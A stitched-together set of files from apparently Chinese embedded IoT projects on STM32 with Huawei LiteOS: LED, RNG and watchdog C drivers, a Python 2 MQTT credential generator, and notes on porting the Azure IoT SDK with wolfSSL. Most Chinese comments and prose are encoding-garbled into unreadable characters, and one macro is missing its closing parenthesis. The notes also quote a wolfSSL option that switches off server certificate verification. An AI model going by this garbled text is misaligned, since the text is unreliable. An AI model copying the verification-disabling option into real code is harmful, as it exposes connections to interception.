#define LED2_TOGGLE digitalToggle(LED2_GPIO_PORT,LED2_PIN)
#define LED2_OFF digitalHi(LED2_GPIO_PORT,LED2_PIN)
#define LED2_ON digitalLo(LED2_GPIO_PORT,LED2_PIN)
#define LED3_TOGGLE digitalToggle(LED3_GPIO_PORT,LED3_PIN)
#define LED3_OFF digitalHi(LED3_GPIO_PORT,LED3_PIN)
#define LED3_ON digitalLo(LED3_GPIO_PORT,LED3_PIN)
//LED1 - R
//LED2 - G
//LED3 - B
// R G B
#define LED_BLACK 0X0 // 0 0 0
#define LED_RED 0X1 // 0 0 1
#define LED_GREEN 0X2 // 0 1 0
#define LED_YELLOW 0X3 // 0 1 1
#define LED_BLUE 0X4 // 1 0 0
#define LED_MAGENTA 0X5 // 1 0 1
#define LED_CYAN 0X6 // 1 1 0
#define LED_WHITE 0X7 // 1 1 1
#define IS_RGB111_ALL_PERIPH(PERIPH) (((PERIPH) == LED_BLACK) || \
((PERIPH) == LED_RED) || \
((PERIPH) == LED_GREEN) || \
((PERIPH) == LED_YELLOW) || \
((PERIPH) == LED_BLUE) || \
((PERIPH) == LED_MAGENTA) || \
((PERIPH) == LED_CYAN) || \
((PERIPH) == LED_WHITE)
void LOS_EvbLedInit(void)
{
/*ๅฎไนไธไธชGPIO_InitTypeDef็ฑปๅ็็ปๆไฝ*/
GPIO_InitTypeDef GPIO_InitStructure;
/*ๅผๅฏLED็ธๅ
ณ็GPIOๅค่ฎพๆถ้*/
RCC_AHB1PeriphClockCmd ( LED1_GPIO_CLK|LED2_GPIO_CLK|LED3_GPIO_CLK, ENABLE);
/*้ๆฉ่ฆๆงๅถ็GPIOๅผ่*/
GPIO_InitStructure.GPIO_Pin = LED1_PIN;
/*่ฎพ็ฝฎๅผ่ๆจกๅผไธบ่พๅบๆจกๅผ*/
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_OUT;
/*่ฎพ็ฝฎๅผ่็่พๅบ็ฑปๅไธบๆจๆฝ่พๅบ*/
GPIO_InitStructure.GPIO_OType = GPIO_OType_PP;
/*่ฎพ็ฝฎๅผ่ไธบไธๆๆจกๅผ๏ผ้ป่ฎคLEDไบฎ*/
GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_UP;
/*่ฎพ็ฝฎๅผ่้็ไธบ50MHz */
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_2MHz;
/*่ฐ็จๅบๅฝๆฐ๏ผไฝฟ็จไธ้ข้
็ฝฎ็GPIO_InitStructureๅๅงๅGPIO*/
GPIO_Init(LED1_GPIO_PORT, &GPIO_InitStructure);
/*้ๆฉ่ฆๆงๅถ็GPIOๅผ่*/
GPIO_InitStructure.GPIO_Pin = LED2_PIN;
GPIO_Init(LED2_GPIO_PORT, &GPIO_InitStructure);
/*้ๆฉ่ฆๆงๅถ็GPIOๅผ่*/
GPIO_InitStructure.GPIO_Pin = LED3_PIN;
GPIO_Init(LED3_GPIO_PORT, &GPIO_InitStructure);
/* ๅ
ณ้ญๆๆLED */
GPIO_SetBits(LED1_GPIO_PORT,LED1_PIN);
GPIO_SetBits(LED2_GPIO_PORT,LED2_PIN);
GPIO_SetBits(LED3_GPIO_PORT,LED3_PIN);
return;
}
/*************************************************************************************************
* function๏ผcontrol led on off *
* param (1) index Led's index *
* (2) cmd Led on or off *
* return : None *
* discription: *
**************************************************************************************************/
void LOS_EvbLedControl(int index, int cmd)
{
switch (index)
{
case LOS_LED1:
{
if (cmd == LED_ON)
{
LED1(1); /*led1 on */
}
else
{
LED1(0); /*led1 off */
}
break;
}
case LOS_LED2:
{
if (cmd == LED_ON)
{
LED2(1); /*led2 on */
}
else
{
LED2(0); /*led2 off */
}
break;
}
default:
{
break;
}
}
return;
}
```
UsrName_Psk.py
```#!/bin/env python
import paho.mqtt.client as mqtt
import base64
import hashlib
import hmac
import random
import string
import time
proID = raw_input("Please Input the product ID:")
devName = raw_input("Please Input the device name:")
psk = raw_input("Please Input the password:")
clientid = proID+devName
username = clientid+";21010406;12365;{}".format(int(time.time()) + 36000)
def hmacsha1(content, pks):
psk_byte = base64.b64decode(psk)
return hmac.new(psk_byte, content, digestmod=hashlib.sha1).hexdigest()
sign = hmacsha1(username, psk)
print
print("Client ID")
print(clientid)
print("User Name:")
print(username)
print("Password:")
print(sign+";hmacsha1")
```
LiteOSๅฏนๆฅazure็คบ่ๆๆกฃ.md
```## ไธใ่ๆฏๅไป็ป
### 1ใๅ
ฌๅธ/ๅข้ไป็ป
ๅผ ๆฐ็ต๏ผๅตๅ
ฅๅผ่ฝฏไปถๅทฅ็จๅธ๏ผๅ่ฟ็ไบงๅๆ ๆ็บน้จ็ฆ/ๆๆบ/ๅฏ็ฉฟๆด่ฎพๅค/360ๅบฆ่พ
ๅฉ้ฉพ้ฉถ็ณป็ป/OBDII่ฏๆญไปช/็ตๅจๆฑฝ่ฝฆๅ
็ตๆกฉ็ญ
### 2ใ้กน็ฎไป็ป
LiteOSๅฏนๆฅๅพฎ่ฝฏAzure IoTไธญๅฟ
## ไบใ้กน็ฎๅ
ๅฎน
### 1. ๆนๆก่ฏดๆ
๏ผ1๏ผๅ่ฝ่ฏดๆ
ๅฏนๆฅAzure IoTไธญๅฟ๏ผๅฎ็ฐๆถๆฏๅๅธๅ่ฎข้
๏ผ2๏ผๆฅๅ
ฅ่ฏดๆ
้่ฟๆฟ่ฝฝไปฅๅคช็ฝๆฅๅ
ฅ็ฝ็ปๅAzure IoTไปฅMQTTๅฎ็ฐ้ไฟก
๏ผ3๏ผAzure IoT็ฎๅไป็ป
azure็ฉ่็ฝๆไพๆ IoTๅฅไปถ/IoTไธญๅฟ/ไบไปถไธญๅฟ/ๆตๅๆ/้็ฅไธญๅฟ๏ผๅฏๅฏนๆฅ็ๅ่ฎฎๆ mqtt/amqp/https็ญ
### 2. ็กฌไปถๆนๆก
- ๅฉ็จ้็ซๅผๅๆฟๅAzure Iot้ไฟก
### 3. ่ฝฏไปถๆนๆก
- LiteOSๆ ธๅฟ
- ๅผๅๆฟ้ฉฑๅจ
- STM32F4 HAL ๅบ
- LWIPๅ่ฎฎๆ
- azure-iot-sdk-c
- `c-utility` cๅธธ็จๅบ
- `iothub_client` ๅบ็จๅฑๆฅๅฃ
- `umqtt` MQTTๅ่ฎฎ
- `parson` JSON่งฃๆ
- `certs` ่ฏไนฆ
- wolfssl
## ไธใๆฅๅ
ฅ็ฌฌไธๆนไบๅนณๅฐ
### Azure Portalๆณจๅ
- [ๅฝ้
่็น](https://azure.microsoft.com/zh-cn/)
- [ๅฝๅ
่็น](https://www.azure.cn/zh-cn/)
- [ๆณจๅ 1 ๅ
่ฏ็จ่ฎข้
](https://docs.azure.cn/zh-cn/billing/billing-sign-up-azure-account-with-1rmb-trial-subscription)
**ๅ ไธชๅ**
1. ๆณจๅๅฎๆๅไผๆฃ1ๅไฝๅฝๅฐ่ดงๅธ๏ผไธป่ฆ้ๆฉๅฝๅ
็ซ็นๆณจๅ
2. ๅพฎ่ฝฏ่ดฆๆทๅ้จๆทๆฏไธๅ็่ดฆๆทใไธๅฎ่ฆๅๆธ
ๆฅไบ๏ผ๏ผ๏ผๆณจๅๅฎๆๅ็id็ฑปไผผcietest.partner.onmschina.cn๏ผไธๅฎ่ฆ่ฎฐไฝไบ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ๏ผ
3. ๅฆๆ้ๅฐ็นๅปๆ ๅๅบ๏ผๆธ
็cookieๅ็ผๅญๅ่ฏ่ฏ
### ๅๅปบ Aure IoTไธญๅฟ
ๅๅปบ IoT ไธญๅฟไปฅๅ๏ผๅณๅฏๆพๅฐๅฐ่ฎพๅคๅๅบ็จ็จๅบ่ฟๆฅๅฐ IoT ไธญๅฟๆถ้่ฆไฝฟ็จ็้่ฆไฟกๆฏใ
1. ๅๅปบ IoT ไธญๅฟๅ๏ผ่ฏทๅจไปช่กจๆฟไธญๅๅปๅฎใ ่ฎฐไธโไธปๆบๅโ๏ผๅนถๅๅปโๅ
ฑไบซ่ฎฟ้ฎ็ญ็ฅโใ

2. ๅจโๅ
ฑไบซ่ฎฟ้ฎ็ญ็ฅโ็ชๆ ผไธญๅๅปโiothubownerโ็ญ็ฅ๏ผๅนถๅคๅถๅนถ่ฎฐไธ IoT ไธญๅฟ็่ฟๆฅๅญ็ฌฆไธฒใ ๆๅ
ณ่ฏฆ็ปไฟกๆฏ๏ผ่ฏทๅ้
[ๆงๅถๅฏน IoT ไธญๅฟ็่ฎฟ้ฎ](https://docs.azure.cn/zh-cn/iot-hub/iot-hub-devguide-security)ใ

- ๅจ IoT ไธญๅฟไธบ่ฎพๅค่ฟ่ก่ฎพๅคๆณจๅ
1. ๅจ [Azure ้จๆท](https://portal.azure.cn/)ไธญๆๅผ IoT ไธญๅฟใ
2. ๅๅปโ่ฎพๅค่ตๆบ็ฎก็ๅจโใ
3. ๅจโ่ฎพๅค่ตๆบ็ฎก็ๅจโ็ชๆ ผไธญ๏ผๅๅปโๆทปๅ โๅฐ่ฎพๅคๆทปๅ ๅฐ IoT ไธญๅฟใ ็ถๅๆง่กไปฅไธๆไฝ๏ผ
**่ฎพๅค ID**๏ผ่พๅ
ฅๆฐ่ฎพๅค็ IDใ ่ฎพๅค ID ๅบๅๅคงๅฐๅใ
**่บซไปฝ้ช่ฏ็ฑปๅ**๏ผ้ๆฉโๅฏน็งฐๅฏ้ฅโใ
**่ชๅจ็ๆๅฏ้ฅ**๏ผ้ไธญๆญคๅค้ๆกใ
**ๅฐ่ฎพๅค่ฟๆฅๅฐ IoT ไธญๅฟ**๏ผๅๅปโๅฏ็จโใ

4. ๅๅปโไฟๅญโ ใ
5. ๅๅปบ่ฎพๅคๅ๏ผๅจโ่ฎพๅค่ตๆบ็ฎก็ๅจโ็ชๆ ผไธญๆๅผ่ฎพๅคใ
6. ่ฎฐไธ่ฟๆฅๅญ็ฌฆไธฒ็ไธปๅฏ้ฅใ

### [ไฝฟ็จDevicExplorer่ฟ่กๆจกๆ, ็นๆ](https://github.com/Azure/azure-iot-sdk-csharp/tree/master/tools/DeviceExplorer)
ๅจ ubuntu ไธๅฏ็ผ่ฏ sdk ่ฟ่ก่ฎพๅคๆจกๆ๏ผๆถๅๆถๆฏใ
่ฎพ็ฝฎๅผๅ็ฏๅข
```
sudo apt-get update
sudo apt-get install -y git cmake build-essential curl libcurl4-openssl-dev libssl-dev uuid-dev
```
ๆฃๆฅcmake็ๆฌไธๅฐไบ2.8.12
```
cmake --version
```
ๆฃๆฅgcc็ๆฌไธๅฐไบ4.4.7
```
gcc --version
```
็ผ่ฏsdk
```
cd azure-iot-sdk-c
mkdir cmake
cd cmake
cmake ..
cmake --build . # append '-- -j <n>' to run <n> jobs in parallel
```
่ฎพ็ฝฎๅญ็ฌฆไธฒ
```
static const char* connectionString = "[device connection string]";
```
็ผ่ฏไพๅญไปฃ็
```
cd ./azure-iot-sdk-c/cmake/serializer/samples
make
./simplesample_mqtt/simplesample_mqtt
```
่งๅฏDevicExplorerๅ็ฑDevicExplorerไธๅๅฝไปค
ไธๅๅฝไปคๆ ผๅผ`simplesample_amqp`
```
{"Name":"SetAirResistance","Parameters":{"Position":55}}
{"Name":"TurnFanOn","Parameters":{}}
```
gifๅจ็ปๆผ็คบๅจๆฌๆๆกฃๅ็บง็ฎๅฝmeta/azure-virtual-equipment-device-explorer-demo.gif
## ๅใๅ
ณ้ฎๆบไปฃ็ ่งฃๆ
### 1. wolfssl็งปๆค: ไธๅผๅง็ๆถๅ๏ผ็ผ่ฏๅพๅค็้่ฏฏ๏ผไธป่ฆ้
็ฝฎๅจ user_settings.h
- ่ทๅไปฃ็
- `git clone https://github.com/wolfSSL/wolfssl.git`
- internal.c
- `LowResTimer()`
- memory.c
- `malloc()` -> `platform_malloc()`
- `realloc()` -> `platform_realloc()`
- `free()` -> `platform_free()`
- random.c
- `wc_GenerateSeed()`ไธญ๏ผ`hrng.Instance = RNG;`ๆนไธบ`hrng.Instance = ((RNG_TypeDef *) RNG_BASE);`๏ผๅฆๅๆฅ้
- wc_port.c
- `wc_InitMutex()`
- `wc_FreeMutex()`
- `wc_LockMutex()`
- `wc_UnLockMutex()`
- ไธ้ขๅ ไธชๆไปถไน่ฟ่กไบ้้
- asn_public.h
- wc_port.h
- internal
- ไธบไบไธ่ฎฉ็ผ่ฏๆฅ้๏ผๅขๅ ๅ ไธช็ฉบๆไปถ
- options.h
- rl_net.h
- strings.h
- ๅขๅ user_settings.h ไปฅไพฟ่ฟ่กๅฎขๅถๅ
- ไธบไบไฝฟ็จuser_settings.h๏ผ`Project` --> `Options for Target 'HuaweiLiteOS'`...--> `C/C++` --> `Define`,ๅจ่กๆซๅ ไธ `,WOLFSSL_USER_SETTINGS`
### 2. SDK ็่ฆๆฑ
- ่ฝๅคIP่ฟๆฅ
- ๆฏๆTLS
- ๆฏๆSHA-256๏ผๅฏ้๏ผ๏ผๆไบๅ่ฎฎ้่ฆ๏ผๆไบไธ้่ฆ
- ๆ็กฌไปถๆถ้ๆ่
ๅฏไปฅ่ฟๆฅ NTP ๆๅกๅจ
- ่ณๅฐ64K็RAM
### 3. [C SDKs API ๅ่](https://azure.github.io/azure-iot-sdk-c)๏ผ่ฟไธป่ฆๆฏ้ๅฏนไธๅฑ่ฐ็จ็ๆๆกฃ
### 4. sdk ็งปๆค
- ่ทๅ sdk
- `git clone --recursive https://github.com/Azure/azure-iot-sdk-c.git`
- [็งปๆคๆๅฏผ,ๆฌๆๆกฃๅ็บง็ฎๅฝไธ็ `porting_guide.md` ](./porting_guide.md)
- sdk ๆฒกๆๅฎ็ฐssl๏ผๆไปฅ้่ฆ็งปๆค็ฌฌไธๆนๅบใไธชไบบ่งๅพ๏ผ็ธๅฏนไบopenssl/mbedstl๏ผwolfsslๆด็ฎๅใwolfsslๆฏ่ฝป้็บง็๏ผๅพ้ๅๅตๅ
ฅๅผ
- ้็จ็ๆฏไธๅฑๅบ็จ<-->iothub_client<-->tlsio<-->socket
- ้้
ๆไปถ: ไธป่ฆๅจadapters็ฎๅฝไธ
- `agenttime_liteos.c` ไธป่ฆๅฎ็ฐ
- `get_time()`
- `get_difftime()`
- ๅ
ถไฝๆฏๆ้
ฑๆฒน็
- `platform_liteos.c`
- `platform_init()`
- `platform_get_default_tlsio()`
- `platform_get_platform_info()`
- `platform_deinit()`
- ๅฆๅค๏ผๆ่ฟๅขๅ ไบๅ ไธช้้
ๅนณๅฐ็ๅฝๆฐ
- `platform_pool_init()`
- `platform_malloc()`
- `platform_realloc()`
- `platform_calloc()`
- `platform_free()`
- threadapi_liteos.c
- `ThreadAPI_Sleep()`
- ๅ
ถไฝๆ้
ฑๆฒน
- tickcounter_liteos.c
- `tickcounter_create()`
- `tickcounter_destroy()`
- `tickcounter_get_current_ms()`
- `tlsio_ssl_liteos.c` ็ธๅฏน่พๅคๆ๏ผไธป่ฆไฝ็จๆฏๅฏนไธๅฑๆไพๆฅๅฃ `tlsio_openssl_get_interface_description()`็ปsdk๏ผ็ถๅ่ฐ็จ wolfssl ๅ lwip ่ฟ่ก้ไฟก
### ไพๅญไปฃ็
- iothub_client_sample_mqtt.c
- ๅ
ฅๅฃ `iothub_client_sample_mqtt_run()`
- ่ฟๆฅๅญ็ฌฆไธฒ `connectionString`
### 5. ่ธฉ่ฟ็ๅ
- ๅ ไธบ็จmalloc/reallocๅ้
ไธๅฐๅ
ๅญ๏ผๅไบplatform_malloc/platform_realloc/platorm_free, ๅฐ azure-iot-sdk-c ๅ woflSSl ็ malloc/realloc/free ๅ
จ้จ็ฝฎๆขไธบ platform_malloc/platform_realloc/ platform_free
- ๆๆ `time()` ๅฝๆฐ็ฝฎๆขๆ `get_time()` ๅฝๆฐ
- sntpๆ กๆถ
- SNTP_SERVER_DNS ่ฎพไธบ1๏ผๅนถไธ ่ฎพ็ฝฎ SNTP_SERVER_ADDRESS
- ๅฆๆSNTP_SERVER_DNS่ฎพไธบ0๏ผๅจ sntp_init ๅผๅงไนๅ sntp_setserver
- sntpๆๅกๅจ็้ๆฉไนๆฏ้ ่ฟๆฐ็๏ผๆๆถๅๅพ้ฟๆถ้ด้ฝ่ทๅไธๅฐๆถ้ด๏ผๆๆถๅๅฐฑๅพๅฟซ๏ผ
- dnsๅๅ่งฃๆ
- ่ฎพ็ฝฎ DNS_SERVER_ADDRESS
- dnsๆๅกๅจไน็้ๆฉไนๆฏ้ ่ฟๆฐ๏ผ็ฝไธๆ็ดข๏ผๆขไบๅ ไธชๆ่ก
- ๅฟ
้กปๅฎไน STRINGS_C_SPRINTF_BUFFER_SIZE๏ผๅฆๅ azure sdk็ๅๅ่งฃๆไผไธบ็ฉบ
- ๅผๅฏLWIP_TCP_KEEPALIVE๏ผๅฆๅTCP_KEEPIDLE, TCP_KEEPINTVL and TCP_KEEPCNT่ฎพ็ฝฎไผๅคฑ่ดฅ
- ๅจwc_InitMutexไธญ๏ผLOS_SemCreateๅๅปบๆๅๅLOS_SemPost๏ผๅฆๅๅจwc_LockMutexไธญtaskไผไธ็ด็ญๅพ
- sockets.cไธญๅฎไนไบ่ชๅทฑ็errno`int errno;`ๅฏผ่ดๅจEmbedReceiveไธญ`int err = wolfSSL_LastError();`่ฟๅๅผไธ็ดไธบ0ใๅฐ่ชๅฎไน็errnoๆณจ้ๆๅณๅฏ่ฟๅๆญฃ็กฎ็ๅผใๆ่
็จ`(*(volatile int *) __aeabi_errno_addr()) `ๆฟๆข`errno`ไนๆฏๅฏไปฅ็
- ็ฎๅ ssl ่ฟๆฅๅคฑ่ดฅ๏ผๆฅ็ๅๅ ๆฏ ๆฒกๆ็ญพๅ่
็กฎ่ฎค๏ผ๏ผ๏ผ
- ๅ ๅ
ฅ่ฏไนฆ๏ผๆๅผ่ฏไนฆ็ผ่ฏ็ๅฎSET_TRUSTED_CERT_IN_SAMPLES๏ผไป็ถ่ฟๅ้่ฏฏไปฃ็ -188
- ็wolfSSLๆ น็ฎๅฝไธ็readme๏ผๆๅฆไธไธๆฎตnote๏ผ็
งๅ
```
wolfSSL takes a different approach to certificate verification than OpenSSL
does. The default policy for the client is to verify the server, this means
that if you don't load CAs to verify the server you'll get a connect error,
no signer error to confirm failure (-188). If you want to mimic OpenSSL
behavior of having SSL_connect succeed even if verifying the server fails and
reducing security you can do this by calling:
wolfSSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, 0);
before calling wolfSSL_new(); Though it's not recommended.
```
- ่ฟไธๆฌก๏ผๅบ็ฐไบๆฐ็้ฎ้ข
```
osHwiDefaultHandler irqnum:3
```
- ๅฏนๅบ็ๆฏ
```
// [3] Hard Fault Handler
```
- ็กฌไปถ้่ฏฏ๏ผๆฏไธชไปไน้ฌผ
- ๆทปๅ ๆๅฐไฟกๆฏ๏ผไธๆญฅๆญฅ็่ฟฝ่ธช๏ผๅ็ฐๅนถไธๆปๆฏๅจ็ธๅ็ไฝ็ฝฎๅฎๆบ๏ผๆณๅฐไธไธชๅฏ่ฝ๏ผๆฏไธๆฏstackๅคชๅฐไบ
- ๅๆฅtask็stackไธบ4096๏ผๆนไธบ8192๏ผๅ่ฏ๏ผ่ฟๆฏไผๅฎๆบใไธ่ฟ๏ผๆๅฐ็ไฟกๆฏๅคไบๅพๅค๏ผๆๆใ็ถๅๆstack sizesๆนไธบ16384๏ผ่ฟไธๆฌกไธๅฎๆบไบ๏ผๅนถไธๅจdeviceexplorerๅฏไปฅ่งๅฏๅฐๅ้็ๆถๆฏไบใ
- ็ไธๆข็ธไฟก๏ผazure iot sdk่ฟไนๆถ่stackใ็ผๅsdk็ไบบ้ฝๆฏๅจpcไธ็ผ็จ็๏ผๅพๅคๅ้ใๆฐ็ป้ฝๆฏๅจๅฝๆฐ้ๅฃฐๆใๆฒก่่ๅฐๅตๅ
ฅๅผ็ณป็ปๅ
ๅญๅฐ็้ฎ้ขใ
- ๅๆฅๅๆงฝไธไธๅพฎ่ฝฏ azure ็ๆๆฏๆฏๆ
- ๆฏๅคฉไธ็ญๅๅๅคไธๆฌกไธไป
ไธๆฌกEmail๏ผ็ปๅธธ่ฟๆ ท
- ๅจๅ
ญๅจๅคฉๆ ไบบๅผ็ญ
- ๅฏนไบๆๅบ็้ฎ้ขไธไบ็ดๆฅๅ็ญ๏ผๆปๆฏๆๅบๅ็งๆณๆณ่ฎฉไฝ ่ท็ไป็ๆ่ทฏๅป้ช่ฏใๆถ้ดๅฐฑ่ฟไน่่ฟๅปไบใ
- ๅๆ่ฏด๏ผไธ็ๆwolfSSL๏ผๅปบ่ฎฎๆ็งปๆคopenSSL๏ผ็ญๆ็งปๆคๅฅฝไบๅไธๅๅปบ่จไบใ
- ๆ่งๅพฎ่ฝฏ azure ๅจๆฌๅๅใๆๅกใๅตๅ
ฅๅผๆน้ข่ฟๆๅพๅคไบๅพ
ๆน่ฟ็ๅฐๆนใ
## ไบใไบงๅ่ฐ่ฏ

ๆฟๅญ่ฟ็บฟๅฆไธๅพ
่ฐ่ฏๅจ็ปๅจๆฌๆๆกฃๅ็บง็ฎๅฝไธ็meta/debug.gif
็ฑไบๆฒกๆๅฎ่ฃ
DHCP๏ผ้่ฆๆๅจ่ฎพ็ฝฎIPๅฐๅใๅจ`sys_init.c`ไธญ็ๅฝๆฐ `net_init()`้่ฎพ็ฝฎ
ๅ
จ็ผ่ฏ๏ผไธ่ฝฝๅฎๆฏๅๆRESETๅณๅฏ่ฟ่กไปฃ็
่ฟ็จๆ็นๆ
ข๏ผ่ๅฟ็ญๅพ
ไธไผ
้่ฟdeviceexplorerๅฏ่งๅฏๅฐๅ้็ๆถๆฏ

ๅจ azure ้จๆทๅฏ็ๅฐ่ฎพๅค็ถๆ

## ๅ
ญใ็ฌฌไธๆนไบๅนณๅฐ่ฝๅๅฑ็คบ
ๆ
## ไธใ่ฏๅฎก้ช่ฏ
### 1. ๆไพไบๅนณๅฐ่ฏๅฎก่ดฆๅท
็งไธๆไพ
### 2. ่ฏๅฎกๆ็จๅทฅๅ
ทๅ่ฝฏไปถ
keil mdk525
้พๆฅ๏ผ<https://pan.baidu.com/s/1XfZbGtjOXCVWT5fIttC4FQ> ๅฏ็ ๏ผlfvk
ๅ
ถไปๅทฅๅ
ท
้พๆฅ๏ผ<https://pan.baidu.com/s/1K2KE99g3mFzjctGeW9OwNg> ๅฏ็ ๏ผ5q92
**ๆๅ๏ผๆฏไฝฟ็จ่ฟ็จไธญๅฏนLiteOS็ไธไบๅปบ่ฎฎ**
- ๆฒกๆ mailbox API ่ฏดๆ๏ผๆ่
่ฏด่ฟๆฒกๆๅฎ็ฐ mailbox
- ้ๆๅ
ๅญ็ API ๅฎ็ฐๅๆๆกฃ่ฏดๆไธไธ่ด
- cmsis_os2.h API ๅ cmsis_os1.h APIไธไธ่ด```
bsp_rng.c
```/**
******************************************************************************
* @file bsp_rng.c
* @author ๆธธๅ
* @version V1.0
* @date 2015-xx-xx
* @brief rngๅบ็จๅฝๆฐๆฅๅฃ
******************************************************************************
* @attention
*
* ๅฎ้ชๅนณๅฐ:็ง็ซ STM32 F429 ๅผๅๆฟ
* ่ฎบๅ :http://www.firebbs.cn
* ๆทๅฎ :http://firestm32.taobao.com
*
******************************************************************************
*/
#include "bsp_rng.h"
#include "dwt.h"
/**
* @brief ๅๅงๅ็กฌไปถ้ๆบๆฐrng
* @param ๆ
* @retval ๆ
*/
int RNG_Config(void)
{
uint32_t retry = 0;
/* ไฝฟ่ฝRNGๆถ้ */
RCC_AHB2PeriphClockCmd(RCC_AHB2Periph_RNG, ENABLE);
/* ไฝฟ่ฝRNGๅค่ฎพ */
RNG_Cmd(ENABLE);
/* ็ญๅพ
้ๆบๆฐไบง็ๅฎๆฏ */
while(RNG_GetFlagStatus(RNG_FLAG_DRDY)== RESET && (retry < 10000))
{
retry++;
Delayus(100);
}
if(retry >= 10000)
{
return -1;
}
return 0;
}
uint32_t RNG_Get_RandomNum(void)
{
uint32_t random;
while(RNG_GetFlagStatus(RNG_FLAG_DRDY)== RESET);
/*่ทๅ้ๆบๆฐ*/
random = RNG_GetRandomNumber();
printf("\r\nRNG:%08x",random);
return random;
}
int RNG_Get_RandomRange(int min,int max)
{
return RNG_Get_RandomNum()%(max - min + 1) + min;
}
/*********************************************END OF FILE**********************/
```
README.md
```# Tools for liteos tencentcloud
- **UsrName_Psk.py**๏ผ ่พๅ
ฅไบงๅIDใ่ฎพๅคๅ็งฐๅๅฏ้ฅ๏ผ่ชๅจ็ๆClient IDใUser NameๅPassword๏ผ่ฏทไฝฟ็จPython2.7่ฟ่กใ
- **App.py**๏ผๆฅๅ
ฅ่
พ่ฎฏไบๆถๆฏ้ๅ๏ผ็จไปฅ็ฉ่็ฝๆฐๆฎ็ๆฅๆถๅๆงๅถๅฝไปคไธๅ๏ผTo be continued...
```
wdt.c
```#define _WDT_C_
#include "sys1.h"
void IwdgConfiguration(void)
{
/* ๅๅ
ฅ0x5555,็จไบๅ
่ฎธ็็ๅฏๅญๅจๅๅ
ฅๅ่ฝ */
IWDG_WriteAccessCmd(IWDG_WriteAccess_Enable);
/* ็็ๆถ้ๅ้ข,40K/256=156HZ(6.4ms)*/
IWDG_SetPrescaler(IWDG_Prescaler_256);
/* ๅ็ๆถ้ด 640MS .ๆณจๆไธ่ฝๅคงไบ0xfff*/
IWDG_SetReload(100);
/* ๅ็*/
IWDG_ReloadCounter();
/* ไฝฟ่ฝ็็*/
IWDG_Enable();
}
void WdtClr(void)
{
IWDG_ReloadCounter();
}
/*ๆจกๅ็ปๆไฝๅๅงๅ*/
void WdtStructInit(void)
{
}
/*ๆจกๅๅๅงๅ*/
void WdtInit(void)
{
WdtStructInit();
IwdgConfiguration();
}
```
้
็ฝฎ่ฏดๆ.md
```
1. lwip-1.4.1\src\include\lwip\opt.h
ๆๅผๆๅ
ณ้ญ lwip ็ธๅ
ณ็ traceใ
2. MQTT
2.1 Topic
/a1TkfITEEOu/Tian_Motor/update/state : - ๅๅธ๏ผ็ตๅจๆบ็ๅทฅไฝ็ถๆใ
JSON๏ผ
{"attr_name":"state", "attr_value":"7"}
ๅฏนๅบ C ไปฃ็ ๏ผ
snprintf(msg_pub, sizeof(msg_pub), "{\"attr_name\":\"state\", \"attr_value\":\"%d\"}", ่ฟ่ก็ถๆๅ้);
2.2 ClientID
ไฝฟ็จ MQTT.fx ๅจๅผ 2 ไธชๅฎขๆท็ซฏไฝฟ็จ็ธๅ็ ClientID ่ฟๆฅ Aliyun MQTT๏ผBase็๏ผๆถไผๅบ็ฐๅ
ๅๅทฒ็ป่ฟๆฅ็ MQTT ๅฎขๆท็ซฏ
ๆ็บฟ๏ผๆ่
่ฟ 2 ไธชๅฎขๆท็ซฏ้ฝไธ่ฝๆญฃๅธธๅทฅไฝ็ๆ
ๅต๏ผๅฏไปฅ่งๅฏ MQTT.fx ็Logไฟกๆฏใ
3. Modbus ้่ฎฏ
3.1 LiteOS ไฝไธบไธปๆบ๏ผไผไธปๅจไธๅ่ฏทๆฑ็ถๆ็ไฟกๆฏ๏ผ
a.็ตๅจๆบ่ฟ่ก็ถๆ๏ผ่ฟ่กorๅ่ฝฆ๏ผ2ไธชByte๏ผๅ่ฝ็ 0x03๏ผ็ฑปๅซ 0x06๏ผ่ตทๅงๅฐๅ 0x00๏ผ่ฏป1ไธชๅฏๅญๅจ;
LiteOS->Motor : 0x01 03 06 00 00 01 84 82 // ๅฌๅค็ตๅจๆบ่ฟ่ก็ถๆ
Motor->LiteOS : 0x01 03 03 06 00 03 E5 8E // ไปๆบๅๅค็ตๅจๆบๅคไบ่ฟ่กๆ็ๆฅๆ 0x00 03 ๏ผๅ
ถไธญ 0xE5 8EๆฏCRC16ๆ ก้ช็
4. RJ45่ทๅพIPๅฐๅ
4.1 ็จๅบไธญๅทฒ็ปไฝฟ็จDHCP่ทๅพipๅฐๅ๏ผไนๅฏไปฅdisable DHCPไป่ไฝฟ็จ้ๆIPๅฐๅใ
4.2 ็จๅบไธญไปฅๅไฝฟ็จไบ DNS ๏ผ็จไบ้่ฟ MQTT Broker ๅๅ่ทๅพ IPใ
5. LED ๆ็คบ็ฏ
5.1 ๆ Modbusๆฅๆๅค็ใๆ MQTTๆฐๆฎๅค็ๆถ๏ผ็บข่ฒLEDไบฎใ
5.2 ๆModbusๆฅๆๅค็ๆถ๏ผ็ปฟ่ฒLEDๅธธไบฎใ
5.3 MQTT Task่ฟ่กๆถ๏ผ่่ฒLEDๅธธไบฎใ
6. Aliyun ่งๅๅผๆ
6.1 ่งๅๆฅ่ฏข่ฏญๅฅ
SELECT deviceName() as deviceName, attribute('tag') as tag, attribute('DeviceSN') as isn, attr_name, attr_value, timestamp('yyyy-MM-dd HH:mm:ss') as time FROM "/a1TkfITEEOu/Tian_Motor/update/state"
7. ๆฐๅถ้ IOT๏ผ็ตๅจๆบ็ถๆไฟกๆฏ็ฉ่็ฝๅบ็จ
7.1๏ผๆฅๅ
ฅๅ่ฎฎ๏ผTCP+MQTT ๆฅๅ
ฅๆนๅผ๏ผไปฅๅคช็ฝใ
```
oneNetConnect.h
```#ifndef _ONENETCONNECT_H_
#define _ONENETCONNECT_H_
#endif
```
README.md
```## ็ฎไป
ๆฌ้กน็ฎไฝฟ็จๅไธบ็ฉ่็ฝๆไฝ็ณป็ปHuawei LiteOS่ฟ่ก่ฝฏไปถๅผๅ๏ผๆๆถ็ฎๆ ๆฏ็งปๆคๆๆฐ็lwipๅ่ฎฎๆ 2.0๏ผ็ถๅ่ฟ่กhttpserverใ
## Huawei LiteOSๅบ็กๅ
ๆ ธ
